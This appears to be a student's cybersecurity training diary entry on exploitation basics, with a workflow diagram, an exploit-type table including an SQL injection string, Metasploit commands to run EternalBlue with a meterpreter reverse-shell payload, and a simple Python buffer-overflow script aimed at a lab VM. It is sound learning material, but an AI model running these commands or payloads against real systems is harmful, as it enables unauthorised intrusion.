

Cybersecurity Training Diary

Day 14: Exploitation Basics

1. Topics Covered

✓ Exploitation Workflow

```
graph TD
    A[Recon] --> B[Vulnerability Analysis]
    B --> C[Exploit Selection]
    C --> D[Payload Configuration]
    D --> E[Post-Exploitation]
```

✓ Common Exploit Types

Type	Target	Example
Remote Code Execution (RCE)	Applications	CVE-2021-44228 (Log4Shell)
Privilege Escalation	Operating Systems	Dirty Pipe (Linux)
SQL Injection	Databases	' OR 1=1 --

✓ Metasploit Framework Basics

```
msf6 > search eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > exploit
```

2. Key Takeaways

- ✓ **Not all vulnerabilities are exploitable** - check exploitability with `check` in Metasploit
- ✓ **Always test exploits in a lab first** - crashing production systems = bad
- ✓ **Payloads matter** - meterpreter > generic shells for post-exploitation

3. Practical Exercises

- ♦ **Exercise 1: Exploit EternalBlue** (Against Windows 7 VM)

```
# In Metasploit:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS [target IP]
exploit
```

- ♦ **Exercise 2: Simple Python Exploit**

```
import socket
target = "192.168.1.100"
port = 9999
buffer = b"A" * 2000 # Simple buffer overflow
s = socket.socket()
s.connect((target, port))
s.send(buffer)
```

4. Questions for Reflection

- ? Why would an attacker prefer a reverse shell over a bind shell?
- ? What's the ethical difference between writing vs using existing exploits?